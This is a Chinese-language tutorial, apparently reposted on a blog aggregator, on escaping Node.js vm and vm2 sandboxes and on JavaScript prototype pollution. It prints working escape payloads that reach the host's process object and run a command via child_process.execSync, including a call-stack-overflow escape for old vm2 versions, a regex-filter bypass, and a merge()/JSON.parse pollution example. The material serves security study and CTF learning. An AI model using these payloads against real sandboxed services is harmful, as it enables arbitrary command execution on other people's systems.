js实现原型链污染,沙箱绕过

这篇具有很好参考价值的文章主要介绍了js实现原型链污染,沙箱绕过。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、沙箱绕过

1.概念

沙箱绕过"是指攻击者利用各种方法和技术来规避或绕过应用程序或系统中的沙箱(sandbox)。沙箱是一种安全机制,用于隔离和限制应用程序的执行环境,从而防止恶意代码对系统造成损害。它常被用于隔离不受信任的代码,以防止其访问敏感数据或对系统进行未授权的操作。

当攻击者成功绕过沙箱时,他们可以在受影响的系统上执行恶意代码,并且有可能获取敏感信息、传播恶意软件、执行拒绝服务攻击或利用系统漏洞等。

2.例题分析

2.1vm模块例题1(利用上下文对象或this指向)

先说一下最简单的vm模块,vm模块是Node.JS内置的一个模块。理论上不能叫沙箱,他只是Node.JS提供给使用者的一个隔离环境。

示例

const vm = require('vm');
const script = `...`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

其实逃逸出沙箱就一种方法,就是拿到沙箱外部的变量或对象,然后用.toString方法和.constructor 属性来获取Function这个属性,然后拿到process,之后就可以执行任意代码了

这道例题可以直接拿this,因为这里没有方法使用了this,此时this指向global,构造如下payload

const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()

this.toString.constructor就是Function这个方法,然后利用Function返回process对象

然后调用子模块执行命令,成功绕过沙箱

Function是不能用m、n来获取,即使m、n 是在函数外部定义的

原因就是因为primitive types,数字、字符串、布尔等这些都是primitive types,他们的传递其实传递的是值而不是引用,所以在沙盒内虽然你也是使用的m,但是这个m和外部那个m已经不是一个m了,所以也是无法利用的,但是如果修改成{m: [], n: {}, x: /regexp/},这样m、n、x就都可以利用了。最终用nodejs执行下面的代码

const vm = require('vm');
const script = `
const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()
`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

2.2vm模块例题2(利用toString属性)

const vm = require('vm'); 
const script = `...`; 
const sandbox = Object.create(null); 
const context = new vm.createContext(sandbox); 
const res = vm.runInContext(script, context); 
console.log('Hello ' + res) 

此时的this是指向变成null,无法获取Function属性,

arguments.callee是递归调用自身,.caller是一个指向调用当前函数的函数的引用。它提供了一种查找调用栈的方式,可以追溯到调用当前函数的函数。所以我们可以使用此方法来获取Function。

那么如果我们在沙盒中定义一个函数并返回,在沙盒外这个函数被调用,那么此时的arguments.callee.caller就是沙盒外的这个调用者,我们再通过这个调用者拿到它的constructor等属性,就可以绕过沙箱了。

构造如下payload

(() => {  
const a = {}  
a.toString = function () {    
const cc = arguments.callee.caller;    
const p = (cc.constructor.constructor('return process'))();   
return p.mainModule.require('child_process').execSync('whoami').toString()  
}  
return a })()

这道题的巧妙之处就在于最后的console.log('Hello ' + res),此时res不是字符串,而当一个字符串与另一个非字符串结合时,会把res转为字符串,相当于res.toString,此时就调用了我们payload里面的函数,执行了命令

2.3vm2模块例题1(触发调用栈溢出异常)

这道例题是用触发外部异常的方式来绕过的,但是vm2版本必须是在3.6.10之前

这个方法有趣的地方就在于,他是想办法在沙箱外的代码中触发一个异常,并在沙箱内捕捉,这样就可以获得一个外部变量e,再利用这个变量e的constructor执行代码。

而触发异常的方法就是“爆调用栈”,JavaScript在递归超过一定次数时就会抛出异常。

但我们需要保证的是:抛出异常的这个函数是在host作用域中(即沙箱外)。在js执行到1001次时,调用栈溢出,此时就会报错

"use strict";
const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {
		length: 10,
		utf8Write(){
			
		}
}
function r(i){
	var x = 0;
	try{
		x = r(i);
	}catch(e){}
	if(typeof(x)!=='number')
		return x;
	if(x!==i)
		return x+1;
	try{
		f.call(ft);
	}catch(e){
		return e;
	}
	return null;
}
var i=1;
while(1){
	try{
		i=r(i).constructor.constructor("return process")();
		break;
	}catch(x){
		i++;
	}
}
i.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
	console.log(new VM().run(untrusted));
}catch(x){
	console.log(x);
}

2.4vm2模块例题(正则绕过)

const { VM } = require('vm2');
 
function safeEval(calc) {
  if (calc.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return new VM().run(calc);
}

首先if判断,如果输入的calc参数没有匹配上这个正则,那if条件就会判为真,返回null,如果匹配上了这个正则,那就会被替换为空,if条件就会判为假,最终return new VM().run(calc),所以我们需要匹配上这个正则才行

这个正则可以分三部分

第一部分是必须有Math这个关键字,最后的?代表0次或者1次,所以Math.xxx和Math是都可以匹配上的
第二部分是匹配了+、-、*、/、&、|、^、%、<、>、=、,、?、:这些符号
第三部分是匹配了整数或者浮点数,比如3.14,也可以使用科学计数法,比如3.9e3
这个正则可以说过滤得比较严格,但是我们也可以绕过

((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode({gen(c)}))))(Math+1)()

js实现原型链污染,沙箱绕过,安全渗透,javascript,开发语言,ecmascript

它创建了一个方法,形参Math,方法的内容是先将Math.constructor赋值给Math,然后调用Math.constructor方法,内容是Math.fromCharCode({gen(c)}),我们可以先不看gen(c),这个方法可以将字符的ascii码转换为字符,这样我们就可以绕过它的正则

最后传参Math+1,这也可以被正则匹配上,那为什么要传这个参数呢

因为Math+1返回的是一个字符串,而字符串的constructor属性是toString方法,而toString方法的构造函数就是Function,最后的()立即执行。

然后便可以找到vm2对应版本的payload,和正则绕过结合,便可以成功实现绕过
 

二、原型链污染

通过foo.proto修改定义它的类的原型的属性

// foo是一个简单的JavaScript对象
let foo = {bar: 1}
 
// foo.bar 此时为1
console.log(foo.bar)
 
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
 
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
 
// 此时再用Object创建一个空的zoo对象
let zoo = {}
 
// 查看zoo.bar
console.log(zoo.bar)
最后,虽然zoo是一个空对象{},但zoo.bar的结果居然是2:

原因也显而易见:因为前面我们修改了foo的原型foo.__proto__.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。

后来,我们又用Object类创建了一个zoo对象let zoo = {},zoo对象自然也有一个bar属性了。

(这样相当于给类添加了新的属性,而这个对象中也有bar这个属性,所以类的改变并不会影响到已经创建好的对象的属性,但是新创建的对象就不一样了)

1.首先我们要知道 构造函数.prototype指向的是一个对象(原型)

2.任何对象都有一个原型对象,这个原型对象由对象的内置属性__proto__指向它的构造函数的prototype指向的对象,即任何对象都是由一个构造函数创建的

3.只有构造函数内才有ptorotype属性

4.每个对象都内含有一个属性:__proto__,也就是说就算对象里面没有对这个属性进行赋值,那么也是有这个属性的

5.原型链的核心就是依赖对象__proto__的指向,当访问的属性在该对象不存在时,就会向上从该对象构造函数的prototype的进行查找,直至查找到Object时,就没有指向了。如果最终查找失败会返回undefined或报错
 

如何产生原型链污染?

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}
 
let o1 = {}
let o2 = {"a": 1, "__proto__": {"b": 2}}
merge(o1, o2)
console.log(o1.a, o1.b)//1,2
 
o3 = {}
console.log(o3.b)//无值

此时Object类没有被修改,故而原型类为Object的o3对象并没有b这个属性。

因为o2中的__proto__已经被解析成原型了

所以我们要使用JSON.parse

 
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')

此时执行后就可以利用原型链污染,修改Object类文章来源地址https://www.toymoban.com/news/detail-637618.html

到了这里,关于js实现原型链污染,沙箱绕过的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • JavaScript原型链污染学习记录

    0 原型及其搜索机制 NodeJS原型机制,比较官方的定义: 我们创建的每个函数都有一个 prototype(原型)属性,这个属性是一个指针,指向一个对象, 而这个对象的用途是包含可以由特定类型的所有实例共享的属性和方法 设计原型的初衷无非是对于每个实例对象,其拥有的共同

    2024年02月02日
    浏览(32)
  • JavaScript原型链污染漏洞复现与防范

    目录 什么是原型链污染漏洞? 复现原型链污染漏洞 防范原型链污染漏洞 原型链污染是JavaScript中的一种安全漏洞,利用该漏洞可以修改对象的原型,从而影响对象及其属性的行为。攻击者可以通过修改原型链来添加或覆盖属性,甚至在全局范围内添加恶意代码,导致应用程

    2024年02月13日
    浏览(32)
  • 网络安全--原型链污染

    目录 1.什么是原型链污染 2.原型链三属性 1)prototype 2)constructor 3)__proto__ 4)原型链三属性之间关系  3.JavaScript原型链继承 1)分析 2)总结 3)运行结果   4.原型链污染简单实验 1)实验一  2)实验2 原型链污染(Prototype Pollution)是一种web应用程序中常见的安全漏洞,主要影响

    2024年02月14日
    浏览(33)
  • 安全基础 --- 原型链污染

    大部分面向对象的编程语言,都是通过“类”(class)实现对象的继承。传统上,JavaScript 语言的继承不通过 class,而是通过“原型对象”(prototype)实现 JavaScript 规定,每个函数都有一个 prototype 属性,指向一个对象 js中类的建立 js 中,定义一个类,需以 定义“构造函数”

    2024年02月10日
    浏览(26)
  • 【安全】原型链污染 - Hackit2018

    目录 准备工作 解题 代码审计 Payload         将这道题所需依赖模块都安装好后          运行一下,然后可以试着访问一下,报错是因为里面没内容而已,不影响,准备工作就做好了 代码审计  解题关键就在这里,将请求体里面的row,col,data都是我们post传进去的可控的

    2024年02月11日
    浏览(31)
  • 网络安全之原型链污染

    目录: 一、概念 二、举例 三、 实操了解 总结 四、抛出原题,历年原题复现 第一题: 五、分析与原理  第二题: 八、分析与原理 九、具体操作,payload与结果 结果:    JavaScript 规定,所有对象都有自己的原型对象(prototype)。一方面,任何一个对象,都可以充当其他对

    2024年02月13日
    浏览(35)
  • 安全作业-Race竞争型漏洞、原型链污染

      一、第一题js代码 获取flag的条件是 传入的querytoken要和user数组本身的admintoken的MD5值相等,且二者都要存在。 由代码可知,全文没有对user.admintokn 进行赋值,所以理论上这个值时不存在的,但是下面有一句赋值语句: data , row , col ,都是我们post传入的值,都是可控的,所以

    2024年02月13日
    浏览(28)
  • 【安全】原型链污染 - Code-Breaking 2018 Thejs

    目录 准备工作 环境搭建 加载项目 复现  代码审计 payload  总结         Nodejs         BurpSuite          项目链接 ① 下载好了cmd切进去   ② 安装这个项目   可以检查一下 ③运行并监听           可以看到已经在3000端口启动了    看到了这一句,所以要先了解l

    2024年02月11日
    浏览(29)
  • 第七届福州大学信息安全竞赛——shellcode1 绕过strlen检查,绕过沙箱检查,执行orw shellcode拿到flag

    链接:https://pan.baidu.com/s/1HrMqh-lX-mkfueVeLzoEJg  提取码:oyel 这是一道非常让人蛋疼的题目,之前我只听说过沙箱,但是并没有自己实际接触过沙箱这个保护机制,大概作用就是开了沙箱之后,会禁用掉某些函数,一旦我们使用了这个函数,比如我们在栈溢出构造ROP,或者写入

    2024年02月04日
    浏览(34)
  • 原型污染

    原型污染是一种针对JavaScript运行时的注入攻击。通过原型污染,攻击者可以控制对象属性的默认值,从而篡改应用程序的逻辑并可能导致服务被拒绝,甚至在某些极端情况下远程执行代码。 现在,你是不是满脑子充满了各种疑问。到底什么是“在运行时改写对象的属性”?

    2024年02月05日
    浏览(34)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包